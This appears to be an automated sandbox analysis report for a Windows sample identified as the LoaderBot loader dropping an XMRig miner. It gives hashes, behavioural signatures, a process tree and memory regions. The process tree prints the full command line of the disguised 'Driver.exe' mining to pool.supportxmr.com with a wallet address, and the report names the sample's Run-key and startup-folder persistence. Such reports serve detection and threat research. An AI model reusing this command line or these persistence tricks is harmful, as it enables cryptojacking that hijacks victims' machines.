Analysis

  • max time kernel
    112s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-07-2023 14:18

General

  • Target

    0x000800000001628c-90.exe

  • Size

    4.0MB

  • MD5

    d0cc6d35827351c327a72dbd86542d2f

  • SHA1

    ebd3d0bf770e05e0f93c4241e7169d39cc86e5fd

  • SHA256

    3a662fa4c1c6b1b2e4ee8ae6ef9f6c3e8d0c9c19644a8cab9f8b5ec803614bc8

  • SHA512

    7c10261f20ededeaf1c1df7609040d91affbfcc2b7a2b2d7ef88d78c66efd1767e1c9c79fbcc5889e397d078337c40ab902088c99e20fc6258695103fed56ea4

  • SSDEEP

    49152:ZNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:PzP88fBsnZTgOtqB3m1RC3

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 18 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x000800000001628c-90.exe
    "C:\Users\Admin\AppData\Local\Temp\0x000800000001628c-90.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3120
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48yPCPrhTDZ97kRwGzi3DLBQGM8xv77vBAArH3ZfG8dM45UfAUSVHzWZLWnAJSssGGftYqUGSAS8kKWQGpd5o1C7FvNFkNy -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:764
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 764 -s 760
        3⤵
        • Program crash
        PID:2200
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48yPCPrhTDZ97kRwGzi3DLBQGM8xv77vBAArH3ZfG8dM45UfAUSVHzWZLWnAJSssGGftYqUGSAS8kKWQGpd5o1C7FvNFkNy -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1936
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48yPCPrhTDZ97kRwGzi3DLBQGM8xv77vBAArH3ZfG8dM45UfAUSVHzWZLWnAJSssGGftYqUGSAS8kKWQGpd5o1C7FvNFkNy -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3580
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48yPCPrhTDZ97kRwGzi3DLBQGM8xv77vBAArH3ZfG8dM45UfAUSVHzWZLWnAJSssGGftYqUGSAS8kKWQGpd5o1C7FvNFkNy -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4100
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 416 -p 764 -ip 764
    1⤵
      PID:3676

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • memory/764-154-0x00000000005D0000-0x00000000005E4000-memory.dmp

      Filesize

      80KB

    • memory/764-155-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/764-153-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1936-169-0x0000000002140000-0x0000000002160000-memory.dmp

      Filesize

      128KB

    • memory/1936-164-0x0000000002120000-0x0000000002140000-memory.dmp

      Filesize

      128KB

    • memory/1936-168-0x0000000002120000-0x0000000002140000-memory.dmp

      Filesize

      128KB

    • memory/1936-158-0x0000000001FE0000-0x0000000002000000-memory.dmp

      Filesize

      128KB

    • memory/1936-167-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1936-160-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1936-161-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1936-162-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1936-163-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1936-166-0x0000000002160000-0x0000000002180000-memory.dmp

      Filesize

      128KB

    • memory/1936-165-0x0000000002140000-0x0000000002160000-memory.dmp

      Filesize

      128KB

    • memory/3120-142-0x0000000005A10000-0x0000000005A20000-memory.dmp

      Filesize

      64KB

    • memory/3120-159-0x0000000005A10000-0x0000000005A20000-memory.dmp

      Filesize

      64KB

    • memory/3120-141-0x00000000743D0000-0x0000000074B80000-memory.dmp

      Filesize

      7.7MB

    • memory/3120-136-0x00000000743D0000-0x0000000074B80000-memory.dmp

      Filesize

      7.7MB

    • memory/3120-140-0x0000000005DA0000-0x0000000005E06000-memory.dmp

      Filesize

      408KB

    • memory/3120-137-0x0000000000D50000-0x000000000114E000-memory.dmp

      Filesize

      4.0MB

    • memory/3580-177-0x0000000002150000-0x0000000002170000-memory.dmp

      Filesize

      128KB

    • memory/3580-174-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3580-175-0x0000000002110000-0x0000000002130000-memory.dmp

      Filesize

      128KB

    • memory/3580-176-0x0000000002130000-0x0000000002150000-memory.dmp

      Filesize

      128KB

    • memory/3580-173-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3580-178-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3580-180-0x0000000002130000-0x0000000002150000-memory.dmp

      Filesize

      128KB

    • memory/3580-179-0x0000000002110000-0x0000000002130000-memory.dmp

      Filesize

      128KB

    • memory/3580-172-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4100-187-0x0000000001F20000-0x0000000001F40000-memory.dmp

      Filesize

      128KB

    • memory/4100-190-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4100-185-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4100-186-0x0000000001F00000-0x0000000001F20000-memory.dmp

      Filesize

      128KB

    • memory/4100-183-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4100-189-0x0000000001F60000-0x0000000001F80000-memory.dmp

      Filesize

      128KB

    • memory/4100-188-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/4100-184-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4100-191-0x0000000001F00000-0x0000000001F20000-memory.dmp

      Filesize

      128KB

    • memory/4100-192-0x0000000001F20000-0x0000000001F40000-memory.dmp

      Filesize

      128KB

    • memory/4100-193-0x0000000001F40000-0x0000000001F60000-memory.dmp

      Filesize

      128KB

    • memory/4100-194-0x0000000001F60000-0x0000000001F80000-memory.dmp

      Filesize

      128KB

    • memory/4100-195-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4100-196-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4100-197-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4100-198-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB